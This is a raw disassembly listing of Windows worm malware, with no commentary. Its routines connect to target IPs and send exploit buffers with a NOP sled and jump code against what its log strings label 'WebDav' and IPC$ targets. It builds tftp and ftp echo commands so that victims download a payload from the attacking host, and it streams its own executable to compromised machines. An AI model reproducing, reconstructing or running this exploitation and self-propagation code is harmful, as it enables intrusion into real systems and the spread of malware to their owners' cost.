		mov	esi, offset aNilsisgay ; "NILSISGAY!!"
		movsd
		push	6
		movsd
		push	1
		push	2
		movsd
		call	dword_43A39C	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_414D69
		and	dword ptr [ebp-8], 0
		lea	esi, [ebp-44h]
		mov	[ebp-0Ch], esi


loc_414B53:				; CODE XREF: .text:00414CF7j
		xor	eax, eax
		lea	edi, [ebp-24h]
		stosd
		stosd
		stosd
		stosd
		lea	eax, [ebp+0Ch]
		push	eax
		mov	word ptr [ebp-24h], 2
		call	dword_43A414	; inet_addr
		push	dword ptr [ebp+0A8h]
		mov	[ebp-20h], eax
		call	dword_43A4F4	; ntohs
		mov	[ebp-22h], ax
		push	10h
		lea	eax, [ebp-24h]
		push	eax
		push	ebx
		call	dword_43A34C	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_414CE3
		mov	edi, [ebp-28h]
		not	dword ptr [esi]
		push	4
		push	esi
		push	edi
		call	sub_4167D0
		mov	eax, offset loc_42E370
		add	esp, 0Ch
		mov	ecx, eax


loc_414BAD:				; CODE XREF: .text:00414BB2j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_414BAD
		sub	eax, ecx
		mov	esi, ecx
		dec	edi


loc_414BB9:				; CODE XREF: .text:00414BBFj
		mov	cl, [edi+1]
		inc	edi
		test	cl, cl
		jnz	short loc_414BB9
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		lea	eax, [ebp-4]
		rep movsb
		lea	ecx, [eax+1]


loc_414BD5:				; CODE XREF: .text:00414BDAj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_414BD5
		push	0
		sub	eax, ecx
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		call	dword_43A438	; send
		test	eax, eax
		jz	loc_414CE0
		mov	esi, dword_422000
		push	3E8h
		call	esi	; Sleep
		push	ebx
		call	dword_43A4B0	; closesocket
		xor	eax, eax
		lea	edi, [ebp-24h]
		stosd
		stosd
		stosd
		stosd
		lea	eax, [ebp+0Ch]
		push	eax
		mov	word ptr [ebp-24h], 2
		call	dword_43A414	; inet_addr
		push	7BDh
		mov	[ebp-20h], eax
		call	dword_43A4F4	; ntohs
		mov	[ebp-22h], ax
		push	10h
		lea	eax, [ebp-24h]
		push	eax
		push	ebx
		call	dword_43A34C	; connect
		test	eax, eax
		jz	loc_414CE0
		mov	eax, offset byte_42FD48
		push	eax
		push	eax
		push	dword ptr [ebp+8]
		call	sub_408852
		pop	ecx
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		mov	edi, 190h
		lea	eax, [ebp-1D4h]
		push	edi
		push	eax
		call	sub_416B5D
		add	esp, 18h
		push	dword_439EE4
		push	dword ptr [ebp+8]
		call	sub_408852
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp-1D4h]
		push	edi
		push	eax
		call	sub_416B5D
		add	esp, 14h
		push	0
		add	edi, 70h
		push	edi
		lea	eax, [ebp-3D4h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_43A304	; recv
		test	eax, eax
		jle	short loc_414CE0
		push	1F4h
		call	esi	; Sleep
		lea	eax, [ebp-1D4h]
		lea	edx, [eax+1]


loc_414CC2:				; CODE XREF: .text:00414CC7j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_414CC2
		push	0
		sub	eax, edx
		push	eax
		lea	eax, [ebp-1D4h]
		push	eax
		push	ebx
		call	dword_43A438	; send
		test	eax, eax
		jg	short loc_414CFF


loc_414CE0:				; CODE XREF: .text:00414BEEj
					; .text:00414C42j ...
		mov	esi, [ebp-0Ch]


loc_414CE3:				; CODE XREF: .text:00414B8Fj
		push	ebx
		call	dword_43A4B0	; closesocket
		inc	dword ptr [ebp-8]
		add	esi, 4
		cmp	dword ptr [ebp-8], 7
		mov	[ebp-0Ch], esi
		jb	loc_414B53
		jmp	short loc_414D69
; ---------------------------------------------------------------------------


loc_414CFF:				; CODE XREF: .text:00414CDEj
		push	ebx
		call	dword_43A4B0	; closesocket
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		add	eax, offset aWebdav_0 ;	"WebDav"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp-3D4h]
		push	edi
		push	eax
		mov	dword ptr [ebp-10h], 1
		call	sub_416B5D
		add	esp, 14h
		cmp	dword ptr [ebp+0BCh], 0
		jnz	short loc_414D5C
		push	0
		push	dword ptr [ebp+0B8h]
		lea	eax, [ebp-3D4h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_405D20
		add	esp, 14h


loc_414D5C:				; CODE XREF: .text:00414D3Cj
		lea	eax, [ebp-3D4h]
		push	eax
		call	sub_401ECD
		pop	ecx


loc_414D69:				; CODE XREF: .text:00414B43j
					; .text:00414CFDj
		mov	eax, [ebp-10h]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414D71	proc near		; CODE XREF: .text:00414EB7p
					; .text:00414F57p ...

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		lea	eax, [ebp+var_8]
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		mov	[ebp+var_8], 1Eh
		mov	[ebp+var_4], esi
		mov	[ebp+var_108], ebx
		mov	[ebp+var_10C], 1
		call	dword_43A448	; select
		test	eax, eax
		jg	short loc_414DBF
		push	ebx
		call	dword_43A4B0	; closesocket


loc_414DBA:				; CODE XREF: sub_414D71+71j
		or	eax, 0FFFFFFFFh
		jmp	short loc_414DF6
; ---------------------------------------------------------------------------


loc_414DBF:				; CODE XREF: sub_414D71+40j
		push	edi
		push	esi
		mov	edx, offset dword_480D58
		push	400h
		push	edx
		xor	eax, eax
		mov	edi, edx
		mov	ecx, 100h
		push	ebx
		rep stosd
		call	dword_43A304	; recv
		cmp	eax, 1
		pop	edi
		jl	short loc_414DBA
		mov	ecx, off_4310BC
		xor	eax, eax
		cmp	dword ptr [ecx], 52525245h
		setnz	al
		dec	eax


loc_414DF6:				; CODE XREF: sub_414D71+4Cj
		pop	esi
		pop	ebx
		leave
		retn
sub_414D71	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 740h
		push	ebx
		xor	eax, eax
		push	esi
		push	edi
		lea	edi, [ebp-2Ch]
		stosd
		stosd
		stosd
		stosw
		stosb
		xor	eax, eax
		lea	edi, [ebp-18h]
		stosd
		xor	ebx, ebx
		mov	[ebp-1Ch], ebx
		stosb
		call	dword_42201C	; GetTickCount
		push	eax
		call	sub_41698D
		pop	ecx
		xor	esi, esi


loc_414E2C:				; CODE XREF: .text:00414E42j
		call	sub_41699A
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[ebp+esi-18h], dl
		inc	esi
		cmp	esi, 4
		jl	short loc_414E2C
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	offset dword_42BBA4
		push	eax
		mov	[ebp+esi-17h], bl
		call	sub_416905
		add	esp, 0Ch
		push	ebx
		push	1
		push	2
		call	dword_43A39C	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp-4], esi
		jz	loc_41504F
		lea	eax, [ebp+0Ch]
		push	eax
		mov	word ptr [ebp-3Ch], 2
		call	dword_43A414	; inet_addr
		push	dword ptr [ebp+0A8h]
		mov	[ebp-38h], eax
		call	dword_43A4F4	; ntohs
		mov	[ebp-3Ah], ax
		push	10h
		lea	eax, [ebp-3Ch]
		push	eax
		push	esi
		call	dword_43A34C	; connect
		lea	eax, [ebp-1Ch]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_43A334	; ioctlsocket
		push	esi
		call	sub_414D71
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	loc_415046
		xor	eax, eax
		mov	esi, offset dword_480D58
		mov	ecx, 100h
		mov	edi, esi
		rep stosd
		push	104h
		lea	eax, [ebp-140h]
		push	eax
		push	ebx
		call	dword_42200C	; GetModuleFileNameA
		push	ebx
		push	ebx
		push	3
		push	ebx
		push	1
		push	80000000h
		lea	eax, [ebp-140h]
		push	eax
		call	dword_422034	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-10h], eax
		jz	loc_415046
		push	ebx
		push	eax
		call	dword_422094	; GetFileSize
		mov	ecx, off_4310BC
		mov	dword ptr [ecx], 46445055h
		mov	ecx, off_4310BC
		mov	[ecx+4], eax
		mov	edi, off_4310BC
		mov	[ebp-8], eax
		lea	eax, [ebp-2Ch]
		add	edi, 8


loc_414F3A:				; CODE XREF: .text:00414F42j
		mov	cl, [eax]
		inc	eax
		mov	[edi], cl
		inc	edi
		cmp	cl, bl
		jnz	short loc_414F3A
		push	ebx
		push	400h
		push	esi
		push	dword ptr [ebp-4]
		call	dword_43A438	; send
		push	dword ptr [ebp-4]
		call	sub_414D71
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	loc_415046
		cmp	[ebp-8], ebx
		jz	short loc_414FE7


loc_414F6B:				; CODE XREF: .text:00414FE5j
		xor	eax, eax
		cmp	dword ptr [ebp-8], 400h
		mov	ecx, 100h
		lea	edi, [ebp-740h]
		mov	dword ptr [ebp-0Ch], 400h
		rep stosd
		jnb	short loc_414F90
		mov	eax, [ebp-8]
		mov	[ebp-0Ch], eax


loc_414F90:				; CODE XREF: .text:00414F88j
		mov	eax, [ebp-8]
		push	2
		push	ebx
		neg	eax
		push	eax
		push	dword ptr [ebp-10h]
		call	dword_422090	; SetFilePointer
		push	ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [ebp-0Ch]
		lea	eax, [ebp-740h]
		push	eax
		push	dword ptr [ebp-10h]
		call	dword_42208C	; ReadFile
		push	ebx
		push	dword ptr [ebp-0Ch]
		lea	eax, [ebp-740h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_43A438	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_414FE2
		call	dword_43A45C	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_414FE7
		xor	eax, eax


loc_414FE2:				; CODE XREF: .text:00414FD1j
		sub	[ebp-8], eax
		jnz	short loc_414F6B


loc_414FE7:				; CODE XREF: .text:00414F69j
					; .text:00414FDEj
		push	dword ptr [ebp-4]
		call	sub_414D71
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_415046
		push	dword ptr [ebp-10h]
		call	dword_42202C	; CloseHandle
		xor	eax, eax
		mov	ecx, 100h
		mov	edi, esi
		rep stosd
		mov	eax, off_4310BC
		mov	dword ptr [eax], 464E5552h
		lea	eax, [ebp-2Ch]
		push	eax
		mov	eax, off_4310BC
		add	eax, 4
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx
		push	ebx
		push	400h
		push	esi
		push	dword ptr [ebp-4]
		call	dword_43A438	; send
		push	dword ptr [ebp-4]
		call	sub_414D71
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_415056


loc_415046:				; CODE XREF: .text:00414EC0j
					; .text:00414F08j ...
		push	dword ptr [ebp-4]
		call	dword_43A4B0	; closesocket


loc_41504F:				; CODE XREF: .text:00414E70j
		xor	eax, eax
		jmp	loc_4150F4
; ---------------------------------------------------------------------------


loc_415056:				; CODE XREF: .text:00415044j
		push	ebx
		push	4
		xor	eax, eax
		mov	ecx, 100h
		mov	edi, esi
		rep stosd
		mov	eax, off_4310BC
		push	esi
		push	dword ptr [ebp-4]
		mov	dword ptr [eax], 54495551h
		call	dword_43A438	; send
		push	dword ptr [ebp-4]
		call	dword_43A4B0	; closesocket
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		add	eax, offset aWebdav_0 ;	"WebDav"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp-340h]
		push	200h
		push	eax
		call	sub_416B5D
		add	esp, 14h
		cmp	[ebp+0BCh], ebx
		jnz	short loc_4150D3
		push	ebx
		push	dword ptr [ebp+0B8h]
		lea	eax, [ebp-340h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_405D20
		add	esp, 14h


loc_4150D3:				; CODE XREF: .text:004150B4j
		lea	eax, [ebp-340h]
		push	eax
		call	sub_401ECD
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		lea	eax, dword_42E070[eax]
		inc	dword ptr [eax]
		xor	eax, eax
		pop	ecx
		inc	eax


loc_4150F4:				; CODE XREF: .text:00415051j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4150F9	proc near		; CODE XREF: sub_415242+3F8p

var_5A4		= byte ptr -5A4h
var_1A4		= byte ptr -1A4h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A4h
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		lea	edi, [ebp+var_14]
		stosd
		stosd
		stosd
		stosd
		lea	eax, [ebp+arg_4]
		push	eax
		mov	[ebp+var_14], 2
		call	dword_43A414	; inet_addr
		mov	[ebp+var_10], eax
		xor	eax, eax
		mov	ax, word_4319C0
		push	eax
		call	dword_43A4F4	; ntohs
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		mov	[ebp+var_12], ax
		call	dword_43A39C	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+var_4], esi
		jnz	short loc_415152
		xor	al, al
		jmp	loc_41523D
; ---------------------------------------------------------------------------


loc_415152:				; CODE XREF: sub_4150F9+50j
		push	10h
		lea	eax, [ebp+var_14]
		push	eax
		push	esi
		call	dword_43A34C	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_415232
		push	ebx
		mov	edi, 400h
		push	edi
		lea	eax, [ebp+var_5A4]
		push	eax
		push	esi
		call	dword_43A304	; recv
		push	dword_439EE4
		push	[ebp+arg_0]
		call	sub_408852
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user	1 1 >> o "...
		mov	esi, 190h
		lea	eax, [ebp+var_1A4]
		push	esi
		push	eax
		call	sub_416B5D
		lea	eax, [ebp+var_1A4]
		add	esp, 14h
		lea	ecx, [eax+1]


loc_4151B0:				; CODE XREF: sub_4150F9+BCj
		mov	dl, [eax]
		inc	eax
		cmp	dl, bl
		jnz	short loc_4151B0
		push	ebx
		sub	eax, ecx
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		push	[ebp+var_4]
		call	dword_43A438	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_415232
		push	1F4h
		call	dword_422000	; Sleep
		push	offset byte_42FD48
		push	offset aS_5	; "%s\r\n"
		lea	eax, [ebp+var_1A4]
		push	esi
		push	eax
		call	sub_416B5D
		lea	eax, [ebp+var_1A4]
		add	esp, 10h
		lea	edx, [eax+1]


loc_4151FE:				; CODE XREF: sub_4150F9+10Aj
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_4151FE
		push	ebx
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		push	[ebp+var_4]
		call	dword_43A438	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_415232
		push	ebx
		push	edi
		lea	eax, [ebp+var_5A4]
		push	eax
		push	[ebp+var_4]
		call	dword_43A304	; recv
		mov	bl, 1


loc_415232:				; CODE XREF: sub_4150F9+69j
					; sub_4150F9+D5j ...
		push	[ebp+var_4]
		call	dword_43A4B0	; closesocket
		mov	al, bl


loc_41523D:				; CODE XREF: sub_4150F9+54j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4150F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415242	proc near		; CODE XREF: .text:00415769p
					; .text:0041578Bp

var_81DC	= byte ptr -81DCh
var_8174	= byte ptr -8174h
var_6104	= byte ptr -6104h
var_6094	= byte ptr -6094h
var_55D0	= byte ptr -55D0h
var_402C	= byte ptr -402Ch
var_402B	= byte ptr -402Bh
var_2F98	= byte ptr -2F98h
var_24D4	= byte ptr -24D4h
var_24D3	= byte ptr -24D3h
var_24D0	= byte ptr -24D0h
var_2454	= byte ptr -2454h
var_1C84	= byte ptr -1C84h
var_17D9	= byte ptr -17D9h
var_14EC	= byte ptr -14ECh
var_EAC		= byte ptr -0EACh
var_8D0		= byte ptr -8D0h
var_830		= byte ptr -830h
var_6C8		= dword	ptr -6C8h
var_6B8		= byte ptr -6B8h
var_394		= dword	ptr -394h
var_390		= dword	ptr -390h
var_384		= byte ptr -384h
var_124		= dword	ptr -124h
var_114		= byte ptr -114h
var_FC		= byte ptr -0FCh
var_FB		= byte ptr -0FBh
var_AC		= byte ptr -0ACh
var_A9		= byte ptr -0A9h
var_7F		= byte ptr -7Fh
var_7D		= byte ptr -7Dh
var_7C		= byte ptr -7Ch
var_34		= byte ptr -34h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 81DCh
		call	sub_416B20
		mov	eax, dword_42BC3C
		push	ebx
		mov	[ebp+var_C], eax
		mov	eax, dword_42BC40
		push	esi
		mov	[ebp+var_8], eax
		push	edi
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_34]
		push	offset aSIpc	; "\\\\%s\\ipc$"
		push	eax
		call	sub_416905
		add	esp, 0Ch
		xor	eax, eax


loc_415279:				; CODE XREF: sub_415242+4Ej
		mov	cl, [ebp+eax+var_34]
		and	[ebp+eax*2+var_FB], 0
		mov	[ebp+eax*2+var_FC], cl
		inc	eax
		cmp	eax, 28h
		jl	short loc_415279
		push	18h
		pop	ecx
		mov	esi, offset dword_4315B8
		lea	edi, [ebp+var_AC]
		lea	eax, [ebp+var_34]
		rep movsd
		lea	edx, [eax+1]


loc_4152A8:				; CODE XREF: sub_415242+6Bj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4152A8
		sub	eax, edx
		mov	ecx, eax
		lea	esi, [ebp+var_FC]
		lea	edi, [ebp+var_7C]
		lea	eax, [ebp+var_34]
		rep movsw
		lea	ecx, [eax+1]


loc_4152C5:				; CODE XREF: sub_415242+88j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_4152C5
		sub	eax, ecx
		lea	edi, [ebp+eax*2+var_7D]
		mov	esi, (offset aC_4+3)
		movsd
		movsd
		lea	eax, [ebp+var_34]
		movsb
		lea	ecx, [eax+1]


loc_4152E0:				; CODE XREF: sub_415242+A3j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_4152E0
		sub	eax, ecx
		add	al, 1Ah
		shl	al, 1
		mov	[ebp+var_1], al
		mov	[ebp+var_A9], al
		lea	eax, [ebp+var_34]
		lea	ecx, [eax+1]


loc_4152FC:				; CODE XREF: sub_415242+BFj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_4152FC
		sub	eax, ecx
		shl	al, 1
		add	al, 9
		mov	[ebp+var_7F], al
		xor	eax, eax
		mov	ax, word_4319C0
		push	eax
		call	dword_43A4F4	; ntohs
		xor	eax, 9999h
		cmp	[ebp+arg_C0], 0
		mov	word_4312B0, ax
		mov	eax, 90909090h
		jz	loc_41540E
		mov	ecx, 36Bh
		lea	edi, [ebp+var_EAC]
		rep stosd
		mov	eax, [ebp+arg_C0]
		imul	eax, 3Ch
		mov	edx, dword_431A00[eax]
		mov	eax, offset loc_431200
		mov	ecx, eax
		mov	[ebp+var_6C8], edx
		lea	esi, [ecx+1]


loc_415364:				; CODE XREF: sub_415242+127j
		mov	bl, [ecx]
		inc	ecx
		test	bl, bl
		jnz	short loc_415364
		sub	ecx, esi
		mov	ebx, ecx
		shr	ecx, 2
		mov	esi, eax
		lea	edi, [ebp+var_6B8]
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	ecx, eax
		mov	[ebp+var_394], 6EB06EBh
		mov	[ebp+var_390], edx
		lea	esi, [ecx+1]


loc_415398:				; CODE XREF: sub_415242+15Bj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jnz	short loc_415398
		sub	ecx, esi
		mov	esi, eax
		mov	eax, ecx
		shr	ecx, 2
		lea	edi, [ebp+var_384]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		xor	eax, eax


loc_4153B9:				; CODE XREF: sub_415242+193j
		mov	cl, [ebp+eax+var_EAC]
		and	[ebp+eax*2+var_402B], 0
		mov	[ebp+eax*2+var_402C], cl
		inc	eax
		cmp	eax, 0DACh
		jl	short loc_4153B9
		and	[ebp+var_24D4],	0
		and	[ebp+var_24D3],	0
		mov	edx, 714h
		mov	ecx, edx
		mov	eax, 31313131h
		lea	edi, [ebp+var_81DC]
		rep stosd
		stosw
		mov	ecx, edx
		mov	eax, 31313131h
		lea	edi, [ebp+var_6104]
		rep stosd
		stosw
		jmp	short loc_415475
; ---------------------------------------------------------------------------


loc_41540E:				; CODE XREF: sub_415242+F0j
		mov	ecx, 1F4h
		lea	edi, [ebp+var_8D0]
		rep stosd
		mov	eax, offset loc_431200
		mov	ecx, eax
		lea	esi, [ecx+1]


loc_415425:				; CODE XREF: sub_415242+1E8j
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jnz	short loc_415425
		sub	ecx, esi
		mov	esi, eax
		mov	eax, ecx
		shr	ecx, 2
		lea	edi, [ebp+var_830]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		lea	eax, [ebp+var_C]
		rep movsb
		lea	ecx, [eax+1]


loc_41544A:				; CODE XREF: sub_415242+20Dj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_41544A
		sub	eax, ecx
		mov	ecx, eax
		shr	ecx, 2
		lea	esi, [ebp+var_C]
		lea	edi, [ebp+var_114]
		rep movsd
		mov	ecx, eax
		mov	eax, dword_431A00
		and	ecx, 3
		rep movsb
		mov	[ebp+var_124], eax


loc_415475:				; CODE XREF: sub_415242+1CAj
		mov	esi, [ebp+arg_BC]
		mov	ecx, 38Ah
		mov	eax, 31313131h
		lea	edi, [ebp+var_24D0]
		rep stosd
		stosb
		movsx	eax, [ebp+var_1]
		push	0
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		push	esi
		call	dword_43A438	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4154B2


loc_4154AB:				; CODE XREF: sub_415242+29Aj
					; sub_415242+2C1j ...
		xor	al, al
		jmp	loc_41564A
; ---------------------------------------------------------------------------


loc_4154B2:				; CODE XREF: sub_415242+267j
		push	0
		mov	ebx, 640h
		push	ebx
		lea	eax, [ebp+var_14EC]
		push	eax
		push	esi
		call	dword_43A304	; recv
		xor	edi, edi
		push	edi
		push	68h
		push	offset dword_431620
		push	esi
		call	dword_43A438	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4154AB
		push	edi
		push	ebx
		lea	eax, [ebp+var_14EC]
		push	eax
		push	esi
		call	dword_43A304	; recv
		push	edi
		push	0A0h
		push	offset dword_431690
		push	esi
		call	dword_43A438	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4154AB
		push	edi
		push	ebx
		lea	eax, [ebp+var_14EC]
		push	eax
		push	esi
		call	dword_43A304	; recv
		cmp	[ebp+arg_C0], edi
		jz	loc_4155C2
		push	1Ah
		pop	ecx
		mov	esi, offset dword_431850
		lea	edi, [ebp+var_81DC]
		rep movsd
		mov	ecx, 6D6h
		lea	esi, [ebp+var_402C]
		lea	edi, [ebp+var_8174]
		rep movsd
		movsw
		push	1Ch
		pop	ecx
		mov	esi, offset dword_4318C0
		lea	edi, [ebp+var_6104]
		rep movsd
		mov	ecx, 297h
		lea	esi, [ebp+var_2F98]
		lea	edi, [ebp+var_6094]
		rep movsd
		push	21h
		movsw
		pop	ecx
		mov	esi, offset dword_431938
		lea	edi, [ebp+var_55D0]
		rep movsd
		xor	esi, esi
		push	esi
		push	10FCh
		lea	eax, [ebp+var_81DC]
		push	eax
		push	[ebp+arg_BC]
		call	dword_43A438	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_4154AB
		push	esi
		push	ebx
		lea	eax, [ebp+var_14EC]
		push	eax
		push	[ebp+arg_BC]
		call	dword_43A304	; recv
		push	esi
		push	0FDCh
		lea	eax, [ebp+var_6104]
		jmp	short loc_415609
; ---------------------------------------------------------------------------


loc_4155C2:				; CODE XREF: sub_415242+2D9j
		push	1Fh
		pop	ecx
		mov	esi, offset dword_431738
		lea	edi, [ebp+var_24D0]
		rep movsd
		push	24h
		mov	ecx, 1F4h
		lea	esi, [ebp+var_8D0]
		lea	edi, [ebp+var_2454]
		rep movsd
		pop	ecx
		mov	esi, offset off_4317B8
		lea	edi, [ebp+var_1C84]
		push	0
		rep movsd
		and	[ebp+var_17D9],	0
		push	0CF8h
		lea	eax, [ebp+var_24D0]


loc_415609:				; CODE XREF: sub_415242+37Ej
		push	eax
		push	[ebp+arg_BC]
		call	dword_43A438	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_4154AB
		push	12Ch
		call	dword_422000	; Sleep
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		lea	esi, [ebp+arg_0]
		mov	edi, esp
		rep movsd
		call	sub_4150F9
		add	esp, 0BCh
		test	al, al
		setnz	al


loc_41564A:				; CODE XREF: sub_415242+26Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415242	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		lea	edi, [ebp-14h]
		stosd
		stosd
		stosd
		stosd
		lea	eax, [ebp+0Ch]
		xor	esi, esi
		push	eax
		mov	[ebp-4], esi
		mov	word ptr [ebp-14h], 2
		call	dword_43A414	; inet_addr
		push	dword ptr [ebp+0A8h]
		mov	[ebp-10h], eax
		call	dword_43A4F4	; ntohs
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		call	dword_43A39C	; socket
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jz	loc_41574B
		push	10h
		lea	eax, [ebp-14h]
		push	eax
		push	ebx
		call	dword_43A34C	; connect
		cmp	eax, edi
		jz	loc_415744
		push	esi
		push	89h
		push	offset dword_431398
		push	ebx
		call	dword_43A438	; send
		cmp	eax, edi
		jz	short loc_415744
		push	esi
		mov	esi, 640h
		push	esi
		lea	eax, [ebp-854h]
		push	eax
		push	ebx
		call	dword_43A304	; recv
		push	0
		push	0A8h
		push	offset dword_431428
		push	ebx
		call	dword_43A438	; send
		cmp	eax, edi
		jz	short loc_415744
		push	0
		push	esi
		lea	eax, [ebp-854h]
		push	eax
		push	ebx
		call	dword_43A304	; recv
		push	0
		push	0DEh
		push	offset dword_4314D8
		push	ebx
		call	dword_43A438	; send
		cmp	eax, edi
		jz	short loc_415744
		push	0
		push	esi
		lea	eax, [ebp-854h]
		push	eax
		push	ebx
		call	dword_43A304	; recv
		movsx	eax, byte ptr [ebp-810h]
		sub	eax, 30h
		jz	short loc_415756
		dec	eax
		jz	short loc_415752


loc_415744:				; CODE XREF: .text:004156B4j
					; .text:004156CEj ...
		push	ebx
		call	dword_43A4B0	; closesocket


loc_41574B:				; CODE XREF: .text:0041569Fj
		xor	eax, eax
		jmp	loc_415815
; ---------------------------------------------------------------------------


loc_415752:				; CODE XREF: .text:00415742j
		push	0
		jmp	short loc_41577A
; ---------------------------------------------------------------------------


loc_415756:				; CODE XREF: .text:0041573Fj
		push	2
		push	ebx
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		lea	esi, [ebp+8]
		mov	edi, esp
		rep movsd
		call	sub_415242
		add	esp, 0C4h
		test	al, al
		jnz	short loc_41579A
		push	1


loc_41577A:				; CODE XREF: .text:00415754j
		push	ebx
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		lea	esi, [ebp+8]
		mov	edi, esp
		rep movsd
		call	sub_415242
		add	esp, 0C4h
		test	al, al
		jz	short loc_4157A1


loc_41579A:				; CODE XREF: .text:00415776j
		mov	dword ptr [ebp-4], 1


loc_4157A1:				; CODE XREF: .text:00415798j
		push	ebx
		call	dword_43A4B0	; closesocket
		cmp	dword ptr [ebp-4], 0
		jz	short loc_415812
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		add	eax, offset aWebdav_0 ;	"WebDav"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp-214h]
		push	200h
		push	eax
		call	sub_416B5D
		push	0
		push	dword ptr [ebp+0B8h]
		lea	eax, [ebp-214h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
